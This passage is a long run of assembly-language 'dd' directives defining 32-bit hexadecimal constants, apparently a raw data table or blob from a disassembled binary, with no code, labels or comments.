		dd 61664FF9h, 0B4B07CE3h, 855BAB9Fh, 390E7425h,	0A81B4C37h
		dd 0FA04BC9Ch, 0B369B1E0h, 2E2A09Ah, 0CA173687h, 0B95ED8A1h
		dd 57822333h, 9AAC6CF4h, 9004B231h, 0C8CD1A35h,	0C0031061h
		dd 57FD4081h, 9C21365Bh, 0C4D8EF0Bh, 0D0CDCC6Ch, 0A02BF54Eh
		dd 0FBA2D444h, 1BB62B11h, 0B3936D0h, 5D36AC14h,	0D2C56E4h
		dd 7A71256Ah, 0D72D572Fh, 0EE4A3504h, 3296E9BDh, 320D038Fh
		dd 3358BE4Fh, 4F68BB61h
		dd 5FDA0A96h, 49883A41h, 7A294D23h, 75A261C1h, 5DA12868h
		dd 0A901A74Ch, 0F2A46F0Eh, 0CB0D8430h, 9CA446A6h, 4857BDCDh
		dd 41BC41Eh, 0CEACDF8Ch, 7A4FE586h, 29D99637h, 0C7DE3DF5h
		dd 5C566B4Bh, 7C35F0AEh, 29408BBEh, 0AB9CF1E3h,	0D91A550h
		dd 6BCA917Eh, 0A969A195h, 0B5916A31h, 71751AC1h, 857C0275h
		dd 95C9DB35h, 0D4B079E6h, 514EF63Ch, 0F533AF4Ch, 0AF99BEFDh
		dd 74A83FBDh, 0CAD6AC0Dh, 0E735680Ah, 0BFEBD7DCh, 373921E9h
		dd 722B411Ch, 0C6DB33AEh, 762FA603h, 6BCD222Ah,	9D0F958Fh
		dd 868FD177h, 0AE7DD295h, 0B97E2245h, 847B4FA8h, 0ECD8DCAEh
		dd 6A0A49C7h, 3A832A79h, 18B15410h, 12EA42h, 72DB0E9Fh
		dd 8CB26A3Dh, 0F3EF1DB2h, 703AA2Eh, 0EDC159F4h,	83B3AF25h
		dd 0E466F71h, 0F2766648h, 5D6AFF5Bh, 59D22402h,	0ED44A2D8h
		dd 0ED0B29Ah, 0FDAC5729h, 644758B6h, 0B8AB9D89h, 16CAC711h
		dd 6E5E43B9h, 798FFAE4h, 0FF5318CFh, 5E7D29F0h,	8F791E22h
		dd 52AEAB8h, 34FE0060h,	4D39C660h, 52D5B800h, 1F27D78Eh
		dd 2A24AEE7h, 29AC5665h, 2453F0D2h, 23CB99EAh, 36916656h
		dd 0CE3EA7D6h, 93C33693h, 0FC46A6B4h, 0CDCFBFD9h, 18CA6BA8h
		dd 900DEC81h, 8A49388h,	7CAFC84Bh, 683DF93h, 5E1CDD7Bh
		dd 49B5C8B4h, 72C67DC2h, 906EF7CCh, 0A2BBFF85h,	0BDE70326h
		dd 0FC8A0FA6h, 0B9BED1ECh, 449ACE57h, 24B7EA43h, 3402AE8Ah
		dd 0F269CD70h, 0C8FB49DCh, 312761CAh, 23AB2270h, 0F9CDAD94h
		dd 0F44D33C9h, 8ECE2B8Fh, 0D10FE0BBh, 0B792F42Bh, 23633804h
		dd 0C9BAC5BAh, 3699EC8Ah, 0BC0FCC0Ch, 2638342Eh, 79661BD7h
		dd 45CE96BDh, 9A4820DFh, 16EF002h, 85FBE2B2h, 57815554h
		dd 0D58E4B8Eh, 99AF7AF9h, 0C12D3B31h, 5CBFD0B9h, 0EA1EBD9h
		dd 3FF17359h, 0B5B1E151h, 41823B35h, 0FB86FB9Ch, 1790A1C3h
		dd 7F856838h, 0F284E12Ch, 861A2F46h, 0EDA27AF6h, 3272B415h
		dd 78E6B052h, 0CF7FA26Fh, 0CFAB6184h, 9BE596F9h, 8BBEAE76h
		dd 0AD881613h, 543069F8h, 0F69C31DBh, 118B428Fh, 650E826Ch
		dd 0ED06FCFDh, 5B743B68h, 9B18F07Ah, 7C7B8CD9h,	391A8C28h
		dd 4099844Bh, 2BF7D26Ah, 0E9FEE6C7h, 5106B288h,	8B9BB4ECh
		dd 225AF8DBh, 0E5D1D56Ch, 57A965DFh, 0C62870B5h, 999FC713h
		dd 0FD768CB0h, 1D5EE957h, 7FAD45DFh, 0EBD62674h, 28BF4861h
		dd 0F06288CAh, 92782D0Dh, 7744ADF7h, 666265D4h,	78480B96h
		dd 0CB4B84EFh, 0B500AB00h, 8DC69446h, 0AC968BE6h, 9AF8151Ah
		dd 3B30031Ch, 71CECC1Dh, 0DF0451DEh, 80A011D6h,	9E50A77Bh
		dd 0EFAF85C3h, 4B576F21h, 0A94B41BDh, 0D96BE6A1h, 85308C86h
		dd 0CD33C090h, 4725A999h, 9B228BB8h, 0E2337AA0h, 5A29DDD9h
		dd 0A2B97FA5h, 0D47D607Fh, 2EE40903h, 0F4C079BEh, 0C97CB35Bh
		dd 0F2C0989Ah, 3F94430Bh, 0EFFC0FA4h, 6AEDBD8h,	510EF7DAh
		dd 0C7506CDFh, 6D831248h, 2B9D3BE8h, 8A33A3D6h,	0A088AFCFh
		dd 13FC7A45h, 0E6A34E29h, 37F20B7Bh, 0AF1A4E4Eh, 33A9CD4Eh
		dd 3C344BB4h, 0DB9F06DEh, 99D00A82h, 5C8BFDC8h,	0B43B56FBh
		dd 0E1824502h, 859FCBDFh, 27465CE8h, 83C18605h,	6037A8E1h
		dd 325D6DCFh, 9BCFF93Bh, 503A5787h, 0C00AADCEh,	0F75038A9h
		dd 5213C5BFh, 5D3DD9D6h, 0A1759589h, 7E38B6B6h,	9E230E00h
		dd 0E86DB6Ah, 35BACDB8h, 9942CA8Bh, 5A0E178Eh, 0E9930190h
		dd 0A7A9DEC5h, 88EA11E5h, 25062CD5h, 4F2AC500h,	9292ED01h
		dd 53D34ABCh, 98A3792Bh, 0E5467F68h, 4CBEB642h,	67739170h
		dd 0C824F7ABh, 0ED1A865Fh, 5045E2D5h, 15303063h, 5D1AF997h
		dd 25356DCEh, 0E0E60435h, 0C10591BCh, 0CD28D5EFh, 0D16F1800h
		dd 0BE7633C1h, 0D8927BB7h, 0BC9CB365h, 23FA00EFh, 415BA88Dh
		dd 214EEA5Fh, 4D8C8E45h, 8F059033h, 879803D1h, 0F835ED23h
		dd 0F6BF2C22h, 82F1B4h,	0AB0D8EB7h, 6A005CB5h, 7A3041A9h
		dd 4F14640Ah, 6A8F4B47h, 648EEB22h, 319A090Ch, 0D90C8406h
		dd 63DC622h, 0E7E1BF3Bh, 0B0954ED7h, 0BB3A7E47h, 71643140h
		dd 6A79D653h, 5F7B9B90h, 8DC58131h, 485E27E7h, 9F82A64Bh
		dd 5DF2045Fh, 0BAB49136h, 5B38FC7h, 6C917BF6h, 7AFBC531h
		dd 0ABB3E764h, 38385A8Ah, 0DE6456E0h, 0CFFC2DE6h, 0F8A74330h
		dd 6607A750h, 0A27825CEh, 380E6358h, 55DA09Ch, 671547A1h
		dd 0EE0A7DF0h, 0A00681A9h, 0DC3BE3C2h, 3A13DAEDh, 7498FCFCh
		dd 44E7B25Bh, 6C606B0Ah, 0BD1F0660h, 16ACCB5Bh,	0E4C5CDBCh
		dd 0D7BD89F6h, 55B06ECFh, 7A2BC80Bh, 6AC07F0Fh,	0C9A97A73h
		dd 0A020F4F5h, 24EC8537h, 5666463Dh, 0F4B80F43h, 0F8ED13EAh
		dd 0C69C67F5h, 0DC2A9DA8h, 881F0E54h, 85F7D885h, 370E769Dh
		dd 6AFF7304h, 0A7633AFBh, 7250DCA5h, 28197686h,	9ACBC71Bh
		dd 0A9A9432Dh, 0C1FBBA34h, 7544E464h, 0E7AE86F7h, 4051D6F9h
		dd 7A7D4962h, 0EA8553C0h, 9F70DB44h, 0D97CE71Ah, 51D9CD12h
		dd 74CEFE6Ah, 24731159h, 0BF49B056h, 0DA34AAEFh, 51D10B37h
		dd 0AD47318Ch, 8D44DB9Dh, 0E23B62A2h, 0AEA91CA4h, 704A2FC9h
		dd 0A41215ABh, 0C12E4601h, 85920A31h, 0DC14AFC3h, 3476A5E0h
		dd 0BCFA57EDh, 0ADBDF0F0h, 0E1A9A80Ch, 0AC4CCAD3h, 1C078942h
		dd 0B1023DC6h, 894EFF16h, 34E7FDC6h, 0CBF39223h, 3E2364Ch
		dd 6AE38C0Ch, 869B545Eh, 86C9A0CAh, 0ED710326h,	27D1813Fh
		dd 0CCD823FAh, 0A56325A6h, 0CCE8FE29h, 39B7ACD2h, 70DF2839h
		dd 326A55CEh, 0DE9BA7EBh, 0DA3341B4h, 0B0FBE178h, 0B42EA2A9h
		dd 0F94B0DEFh, 0A031E0DDh, 62F65854h, 0D028CA8h, 0C56B7F5Dh
		dd 0D7985CD9h, 8216F71Fh, 35EDB17Ah, 42D5E3C0h,	5F5F7400h
		dd 0CC26BA35h, 7B044D6Bh, 0EF963FFCh, 8A2559C9h, 9AD88B30h
		dd 93499D07h, 72D03FC1h, 19C0F9C4h, 0D97B623Fh,	64286628h
		dd 0C867A204h, 1BEB44D6h, 821C46F7h, 43C3CE95h,	5C2AFB82h
		dd 0F3E90768h, 0D0E8E997h, 688762C0h, 0D65788Bh, 0C08DA791h
		dd 0E071F273h, 0B45D7D97h, 353FD195h, 40BF1320h, 2D893258h
		dd 294987BBh, 3528F853h, 0AE6080Bh, 24E65EAEh, 56C4A496h
		dd 26A21FC2h, 89141638h, 90C87384h, 0AF2D75Ah, 0D0F78064h
		dd 4DA8E444h, 0EBB6CB9Eh, 7AF416A8h, 0D2063D9Fh, 0A720011Ch
		dd 6429B41Ch, 0B1F9FA1h, 23E37DF2h, 53F18377h, 0A8ADF15h
		dd 2E39BE7Ah, 0C8F94204h, 1551929h, 801DBA9Ch, 6B66E8DFh
		dd 2C084014h, 3AAAA337h, 82217F88h, 634448E6h, 4E83DFE9h
		dd 9830E67Ah, 0E33BFCA2h, 9C1117C1h, 7164F6A1h,	33DB6C09h
		dd 61A2CCD2h, 0FF10C240h, 0A8E2E4C2h, 3B372A9Fh, 0C19BC1C9h
		dd 196D1918h, 3857D495h, 4ECBD89Fh, 60518B02h, 0BAB543E6h
		dd 0EB6BA4DAh, 0F3EFE38Eh, 0DC733E3Eh, 2333BDD4h, 0F127E8E8h
		dd 28891AB8h, 10B05015h, 0B71BCCE0h, 6C4AA12Bh,	0F1F0A709h
		dd 0B8069536h, 0E1A354A7h, 35C5C4C0h, 7A493AECh, 0ACFA1FCDh
		dd 40D7642h, 0B13DC85h,	0B850F8B8h, 0B1FE5FB8h,	0F4E2EEC0h
		dd 127BD25Eh, 0A1FA4FACh, 0F3A0C573h, 23D92503h, 44CC71F7h
		dd 22DF7B08h, 5138EB55h, 0E0A7A83Ah, 0FBDCCD7Fh, 4AD8C27Bh
		dd 8ACAC105h, 373DF855h, 0D02DB793h, 67ADA647h,	9590F642h
		dd 44626386h, 0A44D23D1h, 1FE3EC4Ch, 728E2373h,	0B6C7A86Bh
		dd 78A7907Ah, 0E383B593h, 994F8120h, 0D86A383Ah, 2593ED93h
		dd 0BBAA67FEh, 62977B54h, 184CD0D6h, 4BE1AE52h,	7CA25CF3h
		dd 2FD0BC11h, 41B327Fh
		dd 0F6C2A4FDh, 0E660B714h, 69EC5246h, 0D2453102h, 3E6BB6DCh
		dd 8BB6E7F9h, 4DB31808h, 0EB018075h, 0BBE79A60h, 0C67B4F3Ah
		dd 911EB141h, 843EEC02h, 0F025EBE7h, 893D1D90h,	0F6DD996h
		dd 7BB28D77h, 138FB174h, 0F590BC28h, 7ED60772h,	4E93F734h
		dd 4EDAFFFBh, 0B094964Ch, 0B8753FC2h, 8CBF280Eh, 1FA589E0h
		dd 90391F0Dh, 5A18C511h, 50C6F39Ch, 0BF55CD75h,	464A7C04h
		dd 92C5F08Ch, 561A1463h, 857BE785h, 2D310699h, 42150753h
		dd 0B3BF3501h, 6786145Ch, 6F795801h, 0C6B9E6Eh,	0A4723A1h
		dd 0FBF76658h, 7417104Dh, 0E91A11E7h, 72D239DDh, 4C5EA2CBh
		dd 4A0575CFh, 25148FB5h, 75281638h, 88D974A5h, 8E998178h
		dd 0B281BB74h, 783F00EDh, 257C40A2h, 0BF48A540h, 0C4C52CD6h
		dd 0E7813AF5h, 3873B800h, 2E95AD6h, 0AA3B449Bh,	0D6BB207Eh
		dd 15A7D8F8h, 0BECFEEDFh, 0C7E945E4h, 0A0E62A1Bh, 0E018371Bh
		dd 0C3B60B1h, 6667CC3Dh, 0EBCD289Eh, 0BD108E66h, 2972D86Ch
		dd 0E8F16E5Ch, 0BC940CD2h, 0F45927D5h, 0B7137753h, 0FEBA3A2Eh
		dd 192510C4h, 2EE7CAD9h, 4A996BD7h, 7DBDFB00h, 99B8CA91h
		dd 0BABC81E4h, 5DC9C80Eh, 0E2C0074Dh, 8902440Bh, 0B498D3F6h
		dd 0B2B9341Ch, 0E52FD97Bh, 1B96891Fh, 0CFE13A24h, 8E9D4D8Dh
		dd 384F6941h, 134846E1h, 4FBB0A42h, 17C87BCh, 0D74959D9h
		dd 0A48FFA42h, 7CABB0F8h, 7839B67Ah, 2A60556Fh,	77B12898h
		dd 0D7CCCDBh, 5CD76CE6h, 0C6362AF5h, 0DB478407h, 0A0107D1Eh
		dd 0BD436C61h, 4D049C0h, 0C5B8C77Fh, 0D7DCC1E2h, 11A9Fh
		dd 820CF1F4h, 10DFD159h, 0EF8AF562h, 0EDFF5F9Fh, 22DE5059h
		dd 5AE00BD7h, 79CF1D10h, 374A3700h, 0D6101CA5h,	0B1AF984Fh
		dd 83795304h, 84440B4Fh, 0FFED6E63h, 8AA8D766h,	462292D2h
		dd 14DCAE0h, 336DBC65h,	8A9F8C5Eh, 0BAEF3221h, 9D5240B1h
		dd 5BFA7973h, 2DAF3FFAh, 0B3D6ED38h, 3E003F96h,	8B04BBEh
		dd 2B70697Bh, 2D06DF49h, 0E32691DDh, 0AD5A7E4Fh, 940DD370h
		dd 970A9AEFh, 0C3662512h, 0EC128AAFh, 0C5962FFEh, 0F0E39587h
		dd 7CCD24FAh, 1F52AF7Ch, 0D256AC78h, 0EA313F50h, 18A8360Ah
		dd 18150EE9h, 0A2F9357Ah, 0C1A6DA3Eh, 94898694h, 4426575Eh
		dd 30B254F7h, 6A7D4153h, 2EE79FF6h, 3AA85018h, 0E49FEBC7h
		dd 5734D16Dh, 0A2A1B8h,	1208005Ah, 43F75A0Ah, 0B1A6E40Ah
		dd 95ADC5AEh, 81727C20h, 542D5313h, 1212E04Fh, 0DB6C0002h
		dd 0CCFD0418h, 6A579A89h, 73A9A253h, 0F92FB9D7h, 0DD62830Fh
		dd 0DB1015C1h, 6613AC74h, 71FA8BA0h, 5616220h, 4005B08Eh
		dd 0C880476Ah, 4681D573h, 31779F49h, 53492ABFh,	0E88A90D3h
		dd 0D22C38EFh, 9B34ED2Eh, 791B67C8h, 799BE0Bh, 0BE338245h
		dd 0D7583BECh, 0D4D63081h, 2BEA63CAh, 18D964Bh,	0A3300381h
		dd 3DCDB07h, 46B7CEFCh,	0AF377506h, 886B1927h, 2CBD754Ch
		dd 1A1A5573h, 374DE76Bh, 0E826399Bh, 0ADA03415h, 0C0ADB121h
		dd 0EE70A3D4h, 311ECDDBh, 0EAE640A8h, 64A5A1A2h, 0C2FCF801h
		dd 6483A275h, 0A73F99D6h, 2B1E6E14h, 457798A1h,	0E3B63706h
		dd 735580ADh, 710B74D4h, 546A93B7h, 4B18A308h, 47115CC6h
		dd 2AAACD88h, 32AD15EFh, 3834AC25h, 931D74B7h, 0BC2F943Ah
		dd 9A91E49h, 0F4B2A295h, 0ABAFBD77h, 0BECE5439h, 8AD1E762h
		dd 0E9CF1F6Bh, 4ECD0E22h, 91EA140Ch, 0F3E292E4h, 35DD5DCAh
		dd 25DE6A4Eh, 0DD9F7672h, 0F3171D9Bh, 0FE77C885h, 69F6305Dh
		dd 0DE233401h, 0F19A1B1Ah, 6D7B36C0h, 0B6D68A1Ah, 1E7666B0h
		dd 6EA56AC3h, 108824B7h, 0CE2A2779h, 31C87AF9h,	78EBAF5Ch
		dd 0C305C498h, 9D8B17F2h, 0EF6D3B89h, 9859EE23h, 0CD2CC9C4h
		dd 28E47964h, 8B2DE7Bh,	0B0F4D5F9h, 7A6D7AC2h, 6ACEFCACh
		dd 2DC51C30h, 168CE40Fh, 747FE6E2h, 0FFA8F7D9h,	0AB90CA84h
		dd 36CAEA40h, 3DA11079h, 0C1A2BDA5h, 34AD3A1Eh,	53ACCA56h
		dd 30CEC513h, 0E8C513BAh, 0BAB78B98h, 9B42E470h, 6D3BFEC0h
		dd 247947E8h, 0F5CCB208h, 2A138EDBh, 5CD4FCD9h,	49C197AFh
		dd 0CC742911h, 858A16DFh, 21A37602h, 0FCD4724Ah, 8CAEFD58h
		dd 0FDB66FCCh, 39A30A50h, 0F6471BFh, 69BEBB9Eh,	0E01C4A15h
		dd 4C5C822Ah, 0E839DF88h, 0A708AD46h, 9427CCF3h, 0C35C32D2h
		dd 0F352CA0Ah, 6D3EF689h, 0C309B351h, 0FFDF372Ah, 0A0211611h
		dd 0F2254738h, 0B69E46ACh, 6F2AC9Ch, 0EE3FB1FAh, 66867881h
		dd 0A9274A11h, 3FF5741Dh, 16E143DAh, 0B4252CF9h, 0EDD83636h
		dd 0F40848Ah, 55E56F2Fh, 9304D225h, 0E564F420h,	717BAB5Eh
		dd 0A243AFAFh, 61EEB679h, 818F7696h, 0F5357957h, 4B82392h
		dd 375DF55Bh, 36740CA5h, 9E7D57F9h, 73543322h, 0F4F9E239h
		dd 763A76CCh, 6EA4B54h,	0A0C1F3A6h, 0E2DC054Eh,	0C4B8E8E2h
		dd 0AF79AC09h, 68752305h, 2956EB32h, 68032A55h,	8EC7AA5Fh
		dd 5133F1Bh, 4A11EBAEh,	87DDC30h, 0DFC196E0h, 9457D498h
		dd 0CAA7F997h, 7DCC7C50h, 0A14D0EAFh, 0D9AE69DCh, 61C19FF6h
		dd 4CC778A5h, 0FEF274AEh, 0E7DB6C12h, 0D374896Ch, 0F2104233h
		dd 5C64161Ch, 0C75AFF9Fh, 0BAB4D4CAh, 92BFF7DCh, 16DAA0F9h
		dd 21D282DEh, 0E491C916h, 0AB191460h, 0F2B2C108h, 71625E5Fh
		dd 0A32EC5B8h, 0A793F910h, 0CBC7A7Fh, 1D51B698h, 0B2579E54h
		dd 7CB8E400h, 1BBBF5h, 0C7CC764Dh, 98D888E7h, 14591617h
		dd 4925B950h, 808CD1B1h, 0F9B5E0A8h, 4DD6D852h,	0FBF366F3h
		dd 5173816Ah, 0A7E56701h, 18243322h, 7A0767FCh,	5877350Dh
		dd 28215341h, 603725B4h, 0CF3E03BEh, 0B5DC2BABh, 85C8E39Ah
		dd 0AC0F580h, 0AC1FB3CDh, 0FD7E62F7h, 0CB7CF6C1h, 320342F0h
		dd 0E8D8D415h, 6C96844Fh, 0FBAB5D3Fh, 21217911h, 0B57B0318h
		dd 6B9741E0h, 0AECC846Dh, 8BFE6562h, 5866918Ah,	5B85CAE1h
		dd 0FE2BD9B3h, 0F4C340DAh, 7DD73D38h, 705EAC90h, 9B4ED8DEh
		dd 0E66B6AA7h, 0E25A70F1h, 2BB9A529h, 0E02E6594h, 68A5EC6Ch
		dd 8A39C3Ah, 1D2185FBh,	634ADC08h, 0D69561D1h, 291554AFh
		dd 0FD74A600h, 9FFAF0Eh, 0F350D43Dh, 8B7FCA5Ch,	6015F5B2h
		dd 0DB62BF34h, 5C7DD4F7h, 0C1F91D5h, 8225B5Eh, 6D089CFCh
		dd 59611558h, 32B6401Ch, 0FDFFCF08h, 6C76DDB1h,	72772E96h
		dd 6BF9026h, 6E9AC58Bh,	0DDAE5101h, 8E052C25h, 40705B87h
		dd 0ADC032F0h, 0D146B9CBh, 0B95FFF00h, 0C499FD77h, 388D81CCh
		dd 0ECC8B85Ah, 22FCF025h, 686CDA12h, 54F5F059h,	0BBC102F4h
		dd 0A1866A93h, 0EA5A61A7h, 5C58C574h, 47466C18h, 0CB3D6253h
		dd 50EB737Fh, 2C43A6Eh,	0D1704568h, 0B3488D83h,	4CFC44C0h
		dd 4A0D93F6h, 98CED7EFh, 0B376577h, 0A07DF8D6h,	2E62F497h
		dd 8B70D32Fh, 0C855517h, 470A8030h, 6A45935Eh, 0D0611317h
		dd 158ADB2Eh, 4B930B3h,	9ED60E93h, 0ADFB0A8h, 80132437h
		dd 34725F96h, 0E275EA64h, 6B3E5CCCh, 8FD95A39h,	0E41A6B33h
		dd 53A31BC9h, 0E24691BFh, 228F7FFCh, 7559DFDEh,	5880AF3Bh
		dd 1EDFB8C6h, 3AFCAD9Dh, 446FE12h, 0CEA4B191h, 787F8ED9h
		dd 4FEF2F47h, 6B6D3098h, 686A020Dh, 0BFDBC3E6h,	1ABD5F20h
		dd 0DCB54EC7h, 3A379DBFh, 0C6174F5h, 95BBD143h,	0F6C15A7Eh
		dd 9BB76C55h, 3E53DB35h, 76744215h, 0A8097FF9h,	0C8415E77h
		dd 0C762E74Bh, 2B7EFA20h, 98318887h, 52A6C10Fh,	7FC0EC1h
		dd 84E82D9Dh, 0EF05B47Eh, 8661DC10h, 7A069A7Ah,	0B4117884h
		dd 44EDB0h, 68C68DFEh
		dd 0AD7C83DCh, 0F86E6C2Ah, 1D9A5973h, 0ECBFB42Ch, 7B96204Dh
		dd 2817DEA2h, 7EFFA08Ah, 77BB2E9Dh, 99FBFE17h, 808A5586h
		dd 0AE84CE9Fh, 5DA2BDDh, 0C9ABF3B8h, 0B897723Bh, 0DB9C6BEDh
		dd 8E9E1F46h, 8F71BE46h, 0C7F44B08h, 0EA061815h, 145B7BFEh
		dd 0E3ECD1DBh, 72964E74h, 561701ADh, 0E213EF44h, 6B5370ADh
		dd 0B4098328h, 779C8CB0h, 0CE31B49Ch, 0D6AC2807h, 24D19C28h
		dd 0F40C3C30h, 4BDDD597h, 3A51AF6Dh, 619438D2h,	3E30C8B6h
		dd 95D30540h, 0B41145DEh, 0FE683C1Ch, 0E013BE6Bh, 3FC56986h
		dd 68A89126h, 74130822h, 491C447Eh, 5969B06Fh, 0E5111075h
		dd 0DC8074BBh, 7140E8C0h, 6013F92Bh, 0FBE5DB32h, 0A0F7D9FFh
		dd 0DFDE2162h, 0D9BF579Ch, 0F584C258h, 796E836Eh, 0C6DA05A3h
		dd 72E859BBh, 2EBFE8D0h, 2B45A04Fh, 0AC45A7A4h,	42962821h
		dd 0BC3AF2C5h, 0F0DA7A59h, 5D56B7B0h, 0B8210163h, 0AFDF164Ah
		dd 5042B878h, 0AF2B9E01h, 0B88C247Ch, 27A14666h, 529494FDh
		dd 0F5F13648h, 1B330AC7h, 62564C32h, 0B3EC7F72h, 0E24BBA3Ah
		dd 9186EC47h, 0E1407ED9h, 0DBE7F82Ch, 11702173h, 6BEDD7FEh
		dd 87AE78Ah, 0CB27C23Ah, 38DDEE50h, 0B365D2F7h,	20937AE7h
		dd 0BA15E349h, 0DA7C97BCh, 0DF26BDA4h, 14FE6BC3h, 0F2CC4A7Bh
		dd 0F519DCB8h, 0AEA0262Dh, 756216E0h, 5C822B22h, 415D0649h
		dd 94FF5ACDh, 33669C00h, 665B7938h, 86AEE687h, 0E2504A21h
		dd 0EA1CDDC2h, 0B517F43Ah, 3D8CD3FFh, 542EAC82h, 2194B140h
		dd 65EE5E2Ah, 48348353h, 419C0141h, 0B343C76Ah,	63DBAF74h
		dd 0BE634000h, 0B38D6E6Eh, 7E0D74DBh, 2578A419h, 0E51D9CE2h
		dd 41313A88h, 70A94A32h, 0E09B4CFBh, 0E57AC25Eh, 807698B7h
		dd 9B1500DBh, 0DBE8104Bh, 1C85BBEBh, 2BF14547h,	0A7EE3460h
		dd 0E17CC136h, 0ED8F9413h, 0E0AE2D73h, 9120653Eh, 6AE5E08Ah
		dd 8314D44h, 70897698h,	8EEEC948h, 0C81436AEh, 40C4D42Ah
		dd 0AF41D5EDh, 0CD1835DFh, 2D3534Ah, 0BC1F7CCCh, 3B5819CEh
		dd 0B386B635h, 43541109h, 522EACA5h, 0CF700037h, 43B59BC7h
		dd 21C79146h, 0E6A3000Bh, 9E0C54E1h, 7397C43Ah,	0CB541519h
		dd 53908224h, 13C8345Dh, 0DDD0E7BFh, 5611792Eh,	0C609577Dh
		dd 0B644EFC3h, 5A5DD5CBh, 0E949BC74h, 9839A16Dh, 66A38E95h
		dd 8D3C8196h, 8433B2CFh, 0CEC42EFh, 7ACB7DE8h, 0DA364882h
		dd 81D19B8Ch, 7BA19728h, 90092ADAh, 8156B183h, 3DC4DE1Ah
		dd 0BF7F59ADh, 6F7B332Dh, 0FE42FF30h, 1221A764h, 0F0F3336Fh
		dd 0D45B3F1Bh, 57CBF9Eh, 549C5EEFh, 7D64BC9Dh, 7F81F0F7h
		dd 99DC214Eh, 6928876h,	858F2A21h, 49EA876Fh, 27B612BDh
		dd 7F26EF6Bh, 0A3C5A7C4h, 0CE4BC92Ah, 0CA868DCDh, 0C864A258h
		dd 0D1846E84h, 0E27F6248h, 7B73DD2Ah, 4D14BE04h, 7FEC0DF2h
		dd 669E295Ah, 0D92FA053h, 2FDCF46Dh, 0E938CF55h, 26953A2Fh
		dd 0D179C21Bh, 0E81FA8D8h, 0CAC9D7A1h, 82B745DCh, 92FB720Fh
		dd 0D052865Fh, 7D3DD56Ch, 0D5B36D3h, 0EB91C46Eh, 3EEC1F33h
		dd 8AA3A33Ch, 1E827DB5h, 0DEA8C35h, 0FB397C3Ch,	16981956h
		dd 86D0CFF6h, 0F2A6C5DCh, 0ADB4628Ch, 0B9374319h, 166D3C6Dh
		dd 36193209h, 2DB7F241h, 6B41D8A2h, 55E43020h, 0F40A2F7Fh
		dd 5AED0544h, 6B0EE56Dh, 0EF24A534h, 5E8DB992h,	3CCBB7FDh
		dd 6C456B33h, 229AAEE1h, 0AB44BA7Fh, 1A119F7Bh,	0E40B39A7h
		dd 0BF86ACCDh, 50395211h, 16163059h, 7B2F4DC2h,	0CCD5BCDDh
		dd 0CEB4934Fh, 54783E0Ch, 990BF80Eh, 4881D18h, 8071368h
		dd 590C30F0h, 0EA0693CCh, 0F50F9424h, 0DA8AA3FDh, 0AA196DB3h
		dd 5723BECFh, 63EEEBB5h, 0FB1BB612h, 43376DEBh,	0EDAB540Bh
		dd 0B72EDAB2h, 0B6DB45B9h, 8F5491B4h, 3F8DC6C4h, 0FC407E70h
		dd 69F35E8Dh, 84A7C74Ch, 0BBD8A51h, 0C99B6836h,	0A7BFD809h
		dd 0CE6E2802h, 6731045Fh, 0B5CF5742h, 2461FA1h,	2291A1F9h
		dd 1083A0FDh, 0C00ACAF8h, 92B26212h, 3BFA6348h,	0D8238057h
		dd 5F6401F4h, 77CEA09h,	0E0989B51h, 37B8367Eh, 3EBD81B4h
		dd 505CAD64h, 86FA7B8h,	45F894AFh, 93EF7B4Fh, 81217AA6h
		dd 442F705Bh, 0AF66CAC1h, 0A1FFB5h, 82F769Eh, 0E80F32FAh
		dd 825D62CCh, 0E15A52E3h, 53E90D91h, 0FE3A5A33h, 2BA89EF6h
		dd 23313185h, 84A5673Fh, 39FBEC71h, 948BA6CDh, 0A72D8B8Ch
		dd 58FA7F1Dh, 0CB8E3690h, 0FB0DB651h, 2815B03Fh, 978AD1B5h
		dd 0C1D112A9h, 0BA67C98Ah, 1E3ABC8Dh, 0D5311CB4h, 9BE36B01h
		dd 0F55F162Ch, 18FE105Eh, 9C8D5534h, 97494CECh,	9C02CB57h
		dd 443723E8h, 908618C3h, 8294EAA8h, 0ADCD9E9h, 0B602565Ch
		dd 81BB0B61h, 0ED5B6918h, 0ED1D50Ah, 0B5FB997Dh, 10AC7050h
		dd 0FF88225Ch, 7861E39Bh, 8823D5BAh, 0BB49C717h, 86D80F15h
		dd 0CF446810h, 685E0CF9h, 0D02A935Ch, 4FE6B17Dh, 0C1C00D16h
		dd 0DF18B6D9h, 5ADD9126h, 7B1B613Ah, 8A875714h,	70B068BCh
		dd 390EDF25h, 7C2B454Bh, 0E9B7AEC2h, 15547411h,	73DB446Ch
		dd 985935C1h, 0E493D568h, 541EF1E0h, 1CDB628Eh,	0ADC0913Dh
		dd 0AE4B8724h, 0A36BAF8Eh, 0A21030D7h, 0D70A4C57h, 84E35513h
		dd 8A565EE9h, 0B31E736Bh, 2A7A6118h, 0FF8B0F19h, 0ED735F3Ch
		dd 0EDD33033h, 7ED13002h, 12644438h, 2C0A7FAFh,	62637524h
		dd 469A8F93h, 0F6EDA9BBh, 0DF6D72E9h, 0E8752AC5h, 23DC9A7Bh
		dd 6BAEEC39h, 0F47D1DA3h, 0CD7ED8EFh, 0DA4B987Fh, 0CD3E5D47h
		dd 44A00886h, 22AEBC17h, 85ADAD2Dh, 262CB7B8h, 908C8CF2h
		dd 84D832A1h, 0B9A0300Dh, 0F774CB3Eh, 0D07E1101h, 7D9297FDh
		dd 25ED1D56h, 0C76DE4FCh, 0FF3BF0DEh, 0A62BFD0Ah, 4D5C5EF9h
		dd 3F239037h, 55510B55h, 0C592CF6Fh, 173C5D48h,	0E8EF55F7h
		dd 0A24F6786h, 0F18D638Eh, 961D91D6h, 6EA301E9h, 1E9F701Dh
		dd 1E3DE3FFh, 2FE06CF8h, 930C859h, 0FA8E0A17h, 39B43F31h
		dd 51B0F141h, 4B610408h, 0B26B4A63h, 0EAC21EDFh, 4EEBF8CFh
		dd 4717A306h, 9B567CECh, 5FAF87DEh, 735BCA1Ah, 954750E0h
		dd 0F895E55h, 68D956EFh, 356A59Ch, 8592E85h, 5BE6B863h
		dd 15B63A5h, 0BEDFD27Eh, 0D9FFDEF6h, 0E86B3E7Ah, 0A951DE53h
		dd 7532C033h, 95647FAEh, 112DE1D3h, 51A3BA16h, 718F9DF1h
		dd 0A2125641h, 7EA27773h, 4DC7EC7Ah, 183AABB1h,	0EC26F7C3h
		dd 15BD002Eh, 1CBDBE1Fh, 2D102D7h, 5AC09F04h, 5F57C4A5h
		dd 57DE7CB7h, 872E33E2h, 0AD7C9B11h, 1A379623h,	0E2013E42h
		dd 9C373383h, 0CA63EA01h, 0AF618E46h, 0BEEF571h, 0A23DE85Eh
